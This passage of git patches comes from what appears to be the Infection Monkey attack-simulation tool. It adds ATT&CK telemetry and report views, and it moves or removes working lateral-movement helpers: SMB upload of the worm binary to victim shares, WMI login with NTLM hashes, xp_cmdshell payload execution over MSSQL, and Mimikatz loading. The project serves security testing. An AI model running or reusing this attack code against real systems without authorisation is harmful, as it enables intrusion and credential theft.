a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData } from "./Helpers" +import { getUsageColumns } from "./Helpers" class T1035 extends React.Component { @@ -10,20 +10,6 @@ class T1035 extends React.Component { super(props); } - static getServiceColumns() { - return ([{ - columns: [ - {Header: 'Machine', - id: 'machine', - accessor: x => renderMachineFromSystemData(x._id.machine), - style: { 'whiteSpace': 'unset' }, - width: 300}, - {Header: 'Usage', - id: 'usage', - accessor: x => x._id.usage, - style: { 'whiteSpace': 'unset' }}] - }])}; - render() { return (
@@ -31,7 +17,7 @@ class T1035 extends React.Component {
{this.props.data.services.length !== 0 ? +
{this.props.data.message}
+
+ {this.props.data.dlls.length !== 0 ? + : ""} +
+ ); + } +} + +export default T1129; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index a18754f1d..57ac66f87 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -15,6 +15,7 @@ import T1086 from "../attack/techniques/T1086"; import T1082 from "../attack/techniques/T1082"; import T1145 from "../attack/techniques/T1145"; import T1035 from "../attack/techniques/T1035"; +import T1129 from "../attack/techniques/T1129"; const tech_components = { 'T1210': T1210, @@ -26,7 +27,8 @@ const tech_components = { 'T1086': T1086, 'T1082': T1082, 'T1145': T1145, - 'T1035': T1035 + 'T1035': T1035, + 'T1129': T1129 }; const classNames = require('classnames'); From 9415f6e73c6996f1d3dc22e3a629cd1c0c73928f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Jul 2019 16:52:57 +0300 Subject: [PATCH 004/276] Execution trough WinAPI attack technique implemented --- monkey/infection_monkey/dropper.py | 4 +++ .../system_info/mimikatz_collector.py | 7 +++-- monkey/infection_monkey/system_singleton.py | 6 +++- .../telemetry/attack/t1106_telem.py | 11 +++++++ .../cc/services/attack/attack_report.py | 5 ++-- .../cc/services/attack/attack_schema.py | 9 ++++++ .../attack/technique_reports/T1106.py | 17 +++++++++++ .../cc/services/config_schema.py | 4 +-- .../src/components/attack/techniques/T1106.js | 30 +++++++++++++++++++ .../report-components/AttackReport.js | 4 ++- 10 files changed, 89 insertions(+), 8 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1106_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1106.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index cc065a745..e39860d50 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -14,6 +14,8 @@ from infection_monkey.config import WormConfiguration from infection_monkey.exploit.tools import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from infection_monkey.system_info import SystemInfoCollector, OperatingSystem +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from common.utils.attack_utils import ScanStatus if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -156,5 +158,7 @@ class MonkeyDrops(object): else: LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) + T1106Telem(ScanStatus.USED, "WinAPI was used to mark monkey files" + " for deletion on next boot.").send() except AttributeError: LOG.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 4f2348531..96b53be35 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -7,6 +7,7 @@ import zipfile import infection_monkey.config from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1129_telem import T1129Telem +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -46,6 +47,7 @@ class MimikatzCollector(object): collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) + T1106Telem(ScanStatus.USED, "WinAPI was called to load mimikatz.").send() self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) @@ -54,6 +56,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error initializing mimikatz collector") T1129Telem(ScanStatus.SCANNED, "Monkey tried to load Mimikatz DLL, but failed.").send() + T1106Telem(ScanStatus.SCANNED, "Monkey tried to call WinAPI to load mimikatz.").send() def get_logon_info(self): """ @@ -70,7 +73,7 @@ class MimikatzCollector(object): logon_data_dictionary = {} hostname = socket.gethostname() - + self.mimikatz_text = self._get_text_output_proto() for i in range(entry_count): @@ -105,7 +108,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error getting logon info") return {} - + def get_mimikatz_text(self): return self.mimikatz_text diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 9f56c238e..06a2ea689 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -4,6 +4,8 @@ import sys from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from common.utils.attack_utils import ScanStatus __author__ = 'itamar' @@ -46,6 +48,8 @@ class WindowsSystemSingleton(_SystemSingleton): if not handle: LOG.error("Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error) + T1106Telem(ScanStatus.SCANNED, "WinAPI call to acquire system singleton " + "for monkey process wasn't successful.").send() return False @@ -56,7 +60,7 @@ class WindowsSystemSingleton(_SystemSingleton): return False self._mutex_handle = handle - + T1106Telem(ScanStatus.USED, "WinAPI was called to acquire system singleton for monkey's process.").send() LOG.debug("Global singleton mutex %r acquired", self._mutex_name) diff --git a/monkey/infection_monkey/telemetry/attack/t1106_telem.py b/monkey/infection_monkey/telemetry/attack/t1106_telem.py new file mode 100644 index 000000000..30cad6072 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1106_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1106Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1129 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(T1106Telem, self).__init__("T1106", status, usage) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index ab5b82245..8e7d44905 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,6 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 -from monkey_island.cc.services.attack.technique_reports import T1145, T1035, T1129 +from monkey_island.cc.services.attack.technique_reports import T1145, T1035, T1129, T1106 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -19,7 +19,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1082': T1082.T1082, 'T1145': T1145.T1145, 'T1035': T1035.T1035, - 'T1129': T1129.T1129} + 'T1129': T1129.T1129, + 'T1106': T1106.T1106} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 957731251..4a4402dc1 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -116,6 +116,15 @@ SCHEMA = { "local paths and arbitrary Universal Naming Convention (UNC) network paths.", "depends_on": ["T1078", "T1003"] }, + "T1106": { + "title": "T1106 Execution through API", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversary tools may directly use the Windows application " + "programming interface (API) to execute binaries.", + "depends_on": ["T1210"] + }, "T1059": { "title": "T1059 Command line interface", "type": "bool", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py new file mode 100644 index 000000000..b24d10bd9 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -0,0 +1,17 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1106(AttackTechnique): + tech_id = "T1106" + unscanned_msg = "Monkey didn't try to directly use WinAPI." + scanned_msg = "Monkey tried to use WinAPI, but failed." + used_msg = "Monkey successfully used WinAPI." + + @staticmethod + def get_report_data(): + data = T1106.get_tech_base_data() + data.update({'api_uses': list(mongo.db.telemetry.aggregate(T1106.get_usage_query()))}) + return data diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 34dea9a14..c79b14eaa 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -22,7 +22,7 @@ SCHEMA = { "WmiExploiter" ], "title": "WMI Exploiter", - "attack_techniques": ["T1110"] + "attack_techniques": ["T1110", "T1106"] }, { "type": "string", @@ -54,7 +54,7 @@ SCHEMA = { "SSHExploiter" ], "title": "SSH Exploiter", - "attack_techniques": ["T1110", "T1145"] + "attack_techniques": ["T1110", "T1145", "T1106"] }, { "type": "string", diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js new file mode 100644 index 000000000..a3210b73c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js @@ -0,0 +1,30 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { getUsageColumns } from "./Helpers" + + +class T1106 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.api_uses.length !== 0 ? + : ""} +
+ ); + } +} + +export default T1106; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 57ac66f87..58e234b82 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -16,6 +16,7 @@ import T1082 from "../attack/techniques/T1082"; import T1145 from "../attack/techniques/T1145"; import T1035 from "../attack/techniques/T1035"; import T1129 from "../attack/techniques/T1129"; +import T1106 from "../attack/techniques/T1106"; const tech_components = { 'T1210': T1210, @@ -28,7 +29,8 @@ const tech_components = { 'T1082': T1082, 'T1145': T1145, 'T1035': T1035, - 'T1129': T1129 + 'T1129': T1129, + 'T1106': T1106 }; const classNames = require('classnames'); From 8e3f1e7817c0c84131a7423f3f0b19fb38186bdc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 5 Jul 2019 10:04:16 +0300 Subject: [PATCH 005/276] exploit.tools refactored into separate modules to avoid circular dependencies while using telemetries --- monkey/infection_monkey/dropper.py | 2 +- monkey/infection_monkey/exploit/hadoop.py | 3 +- monkey/infection_monkey/exploit/mssqlexec.py | 15 +- monkey/infection_monkey/exploit/rdpgrinder.py | 5 +- monkey/infection_monkey/exploit/sambacry.py | 6 +- monkey/infection_monkey/exploit/shellshock.py | 4 +- monkey/infection_monkey/exploit/smbexec.py | 4 +- monkey/infection_monkey/exploit/sshexec.py | 8 +- monkey/infection_monkey/exploit/tools.py | 536 ------------------ .../exploit/tools/__init__.py | 0 .../infection_monkey/exploit/tools/helpers.py | 134 +++++ .../exploit/tools/http_tools.py | 62 ++ .../exploit/tools/smb_tools.py | 216 +++++++ .../exploit/tools/wmi_tools.py | 150 +++++ monkey/infection_monkey/exploit/vsftpd.py | 4 +- monkey/infection_monkey/exploit/web_rce.py | 3 +- monkey/infection_monkey/exploit/weblogic.py | 3 +- .../infection_monkey/exploit/win_ms08_067.py | 4 +- monkey/infection_monkey/exploit/wmiexec.py | 5 +- monkey/infection_monkey/monkey.py | 2 +- .../post_breach/actions/users_custom_pba.py | 9 + .../telemetry/attack/t1105_telem.py | 22 + monkey/infection_monkey/transport/http.py | 8 +- monkey/infection_monkey/tunnel.py | 2 +- monkey/infection_monkey/windows_upgrader.py | 2 +- 25 files changed, 641 insertions(+), 568 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/tools.py create mode 100644 monkey/infection_monkey/exploit/tools/__init__.py create mode 100644 monkey/infection_monkey/exploit/tools/helpers.py create mode 100644 monkey/infection_monkey/exploit/tools/http_tools.py create mode 100644 monkey/infection_monkey/exploit/tools/smb_tools.py create mode 100644 monkey/infection_monkey/exploit/tools/wmi_tools.py create mode 100644 monkey/infection_monkey/telemetry/attack/t1105_telem.py diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index cc065a745..d421d1b0a 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -11,7 +11,7 @@ from ctypes import c_char_p import filecmp from infection_monkey.config import WormConfiguration -from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from infection_monkey.system_info import SystemInfoCollector, OperatingSystem diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 958bab7eb..10ddbe589 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -11,7 +11,8 @@ import logging import posixpath from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND __author__ = 'VakarisZ' diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 9d1dcb2d6..bac923063 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -6,9 +6,10 @@ from time import sleep import pymssql from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit import HostExploiter, tools -from infection_monkey.exploit.tools import HTTPTools -from infection_monkey.exploit.tools import get_monkey_dest_path +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ + build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.utils import get_monkey_dir_path @@ -40,7 +41,7 @@ class MSSQLExploiter(HostExploiter): return False # Get monkey exe for host and it's path - src_path = tools.get_target_monkey(self.host) + src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False @@ -68,9 +69,9 @@ class MSSQLExploiter(HostExploiter): MSSQLExploiter.run_file(cursor, tmp_file_path) self.add_executed_cmd(' '.join(commands)) # Form monkey's command in a file - monkey_args = tools.build_monkey_commandline(self.host, - tools.get_monkey_depth() - 1, - dst_path) + monkey_args = build_monkey_commandline(self.host, + get_monkey_depth() - 1, + dst_path) monkey_args = ["xp_cmdshell \">%s\"" % (part, tmp_file_path) for part in textwrap.wrap(monkey_args, 40)] commands = ["xp_cmdshell \"%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)] diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 0db63e86d..70b5da262 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -10,11 +10,10 @@ from rdpy.protocol.rdp import rdp from twisted.internet import reactor from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth -from infection_monkey.exploit.tools import get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.utils import utf_to_ascii from common.utils.exploit_enum import ExploitType diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 7d9ed1010..9a9f934fb 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -19,8 +19,10 @@ import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE -from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth from infection_monkey.pyinstaller_utils import get_binary_file_path +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem __author__ = 'itay.mizeretz' @@ -266,7 +268,7 @@ class SambaCryExploiter(HostExploiter): with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) - + T1105Telem(ScanStatus.USED, self.host.ip_addr[0], monkey_bin_64_src_path).send() smb_client.disconnectTree(tree_id) def trigger_module(self, smb_client, share): diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index d65733d03..074758685 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -7,10 +7,10 @@ from random import choice import requests from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.shellshock_resources import CGI_FILES -from infection_monkey.exploit.tools import build_monkey_commandline +from infection_monkey.exploit.tools.http_tools import HTTPTools __author__ = 'danielg' diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index d49e66ae8..04e79f4bd 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -4,11 +4,11 @@ from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import SMB_DIALECT from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType LOG = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index c7cf030c1..1c616c6e1 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -6,11 +6,12 @@ import StringIO import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem __author__ = 'hoffer' @@ -162,10 +163,11 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) - + T1105Telem(ScanStatus.USED, self.host.ip_addr[0], src_path).send() ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) + T1105Telem(ScanStatus.SCANNED, self.host.ip_addr[0], src_path).send() return False try: diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py deleted file mode 100644 index 0b496f8be..000000000 --- a/monkey/infection_monkey/exploit/tools.py +++ /dev/null @@ -1,536 +0,0 @@ -import logging -import ntpath -import os -import os.path -import pprint -import socket -import struct -import sys -import urllib - -from impacket.dcerpc.v5 import transport, srvs -from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError -from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dtypes import NULL -from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 -from impacket.smbconnection import SMBConnection, SMB_DIALECT - -import infection_monkey.config -import infection_monkey.monkeyfs as monkeyfs -from infection_monkey.network.firewall import app as firewall -from infection_monkey.network.info import get_free_tcp_port, get_routes -from infection_monkey.transport import HTTPServer, LockedHTTPServer -from threading import Lock - - -class DceRpcException(Exception): - pass - - -__author__ = 'itamar' - -LOG = logging.getLogger(__name__) - - -class AccessDeniedException(Exception): - def __init__(self, host, username, password, domain): - super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % - (host, domain, username, password)) - - -class WmiTools(object): - class WmiConnection(object): - def __init__(self): - self._dcom = None - self._iWbemServices = None - - @property - def connected(self): - return self._dcom is not None - - def connect(self, host, username, password, domain=None, lmhash="", nthash=""): - if not domain: - domain = host.ip_addr - - dcom = DCOMConnection(host.ip_addr, - username=username, - password=password, - domain=domain, - lmhash=lmhash, - nthash=nthash, - oxidResolver=True) - - try: - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, - wmi.IID_IWbemLevel1Login) - except Exception as exc: - dcom.disconnect() - - if "rpc_s_access_denied" == exc.message: - raise AccessDeniedException(host, username, password, domain) - - raise - - iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - - try: - self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) - self._dcom = dcom - except: - dcom.disconnect() - - raise - finally: - iWbemLevel1Login.RemRelease() - - def close(self): - assert self.connected, "WmiConnection isn't connected" - - self._iWbemServices.RemRelease() - self._iWbemServices = None - - self._dcom.disconnect() - self._dcom = None - - @staticmethod - def dcom_wrap(func): - def _wrapper(*args, **kwarg): - try: - return func(*args, **kwarg) - finally: - WmiTools.dcom_cleanup() - - return _wrapper - - @staticmethod - def dcom_cleanup(): - for port_map in DCOMConnection.PORTMAPS.keys(): - del DCOMConnection.PORTMAPS[port_map] - for oid_set in DCOMConnection.OID_SET.keys(): - del DCOMConnection.OID_SET[port_map] - - DCOMConnection.OID_SET = {} - DCOMConnection.PORTMAPS = {} - if DCOMConnection.PINGTIMER: - DCOMConnection.PINGTIMER.cancel() - DCOMConnection.PINGTIMER.join() - DCOMConnection.PINGTIMER = None - - @staticmethod - def get_object(wmi_connection, object_name): - assert isinstance(wmi_connection, WmiTools.WmiConnection) - assert wmi_connection.connected, "WmiConnection isn't connected" - - return wmi_connection._iWbemServices.GetObject(object_name)[0] - - @staticmethod - def list_object(wmi_connection, object_name, fields=None, where=None): - assert isinstance(wmi_connection, WmiTools.WmiConnection) - assert wmi_connection.connected, "WmiConnection isn't connected" - - if fields: - fields_query = ",".join(fields) - else: - fields_query = "*" - - wql_query = "SELECT %s FROM %s" % (fields_query, object_name) - - if where: - wql_query += " WHERE %s" % (where,) - - LOG.debug("Execution WQL query: %r", wql_query) - - iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query) - - query = [] - try: - while True: - try: - next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0] - record = next_item.getProperties() - - if not fields: - fields = record.keys() - - query_record = {} - for key in fields: - query_record[key] = record[key]['value'] - - query.append(query_record) - except DCERPCSessionError as exc: - if 1 == exc.error_code: - break - - raise - finally: - iEnumWbemClassObject.RemRelease() - - return query - - -class SmbTools(object): - @staticmethod - def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): - assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) - config = infection_monkey.config.WormConfiguration - src_file_size = monkeyfs.getsize(src_path) - - smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) - if not smb: - return None - - # skip guest users - if smb.isGuestSession() > 0: - LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s'," - " LM hash: %s, NTLM hash: %s", - host, username, password, lm_hash, ntlm_hash) - - try: - smb.logoff() - except: - pass - - return None - - try: - resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) - except Exception as exc: - LOG.debug("Error requesting server info from %r over SMB: %s", - host, exc) - return None - - info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], - 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], - 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), - 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), - 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), - 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']} - - LOG.debug("Connected to %r using %s:\n%s", - host, dialect, pprint.pformat(info)) - - try: - resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) - except Exception as exc: - LOG.debug("Error enumerating server shares from %r over SMB: %s", - host, exc) - return None - - resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] - - high_priority_shares = () - low_priority_shares = () - file_name = ntpath.split(dst_path)[-1] - - for i in range(len(resp)): - share_name = resp[i]['shi2_netname'].strip("\0 ") - share_path = resp[i]['shi2_path'].strip("\0 ") - current_uses = resp[i]['shi2_current_uses'] - max_uses = resp[i]['shi2_max_uses'] - - if current_uses >= max_uses: - LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded", - share_name, host) - continue - elif not share_path: - LOG.debug("Skipping share '%s' on victim %r because share path is invalid", - share_name, host) - continue - - share_info = {'share_name': share_name, - 'share_path': share_path} - - if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) - - low_priority_shares += ((ntpath.sep + file_name, share_info),) - - shares = high_priority_shares + low_priority_shares - - file_uploaded = False - for remote_path, share in shares: - share_name = share['share_name'] - share_path = share['share_path'] - - if not smb: - smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) - if not smb: - return None - - try: - tid = smb.connectTree(share_name) - except Exception as exc: - LOG.debug("Error connecting tree to share '%s' on victim %r: %s", - share_name, host, exc) - continue - - LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r", - share_name, share_path, remote_path, host) - - remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) - - # check if file is found on destination - if config.skip_exploit_if_file_exist: - try: - file_info = smb.listPath(share_name, remote_path) - if file_info: - if src_file_size == file_info[0].get_filesize(): - LOG.debug("Remote monkey file is same as source, skipping copy") - return remote_full_path - - LOG.debug("Remote monkey file is found but different, moving along with attack") - except: - pass # file isn't found on remote victim, moving on - - try: - with monkeyfs.open(src_path, 'rb') as source_file: - # make sure of the timeout - smb.setTimeout(timeout) - smb.putFile(share_name, remote_path, source_file.read) - - file_uploaded = True - - LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", - src_path, share_name, share_path, host) - - break - except Exception as exc: - LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", - share_name, host, exc) - continue - finally: - try: - smb.logoff() - except: - pass - - smb = None - - if not file_uploaded: - LOG.debug("Couldn't find a writable share for exploiting" - " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s", - host, username, password, lm_hash, ntlm_hash) - return None - - return remote_full_path - - @staticmethod - def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): - try: - smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) - except Exception as exc: - LOG.debug("SMB connection to %r on port 445 failed," - " trying port 139 (%s)", host, exc) - - try: - smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) - except Exception as exc: - LOG.debug("SMB connection to %r on port 139 failed as well (%s)", - host, exc) - return None, None - - dialect = {SMB_DIALECT: "SMBv1", - SMB2_DIALECT_002: "SMBv2.0", - SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") - - # we know this should work because the WMI connection worked - try: - smb.login(username, password, '', lm_hash, ntlm_hash) - except Exception as exc: - LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s", - 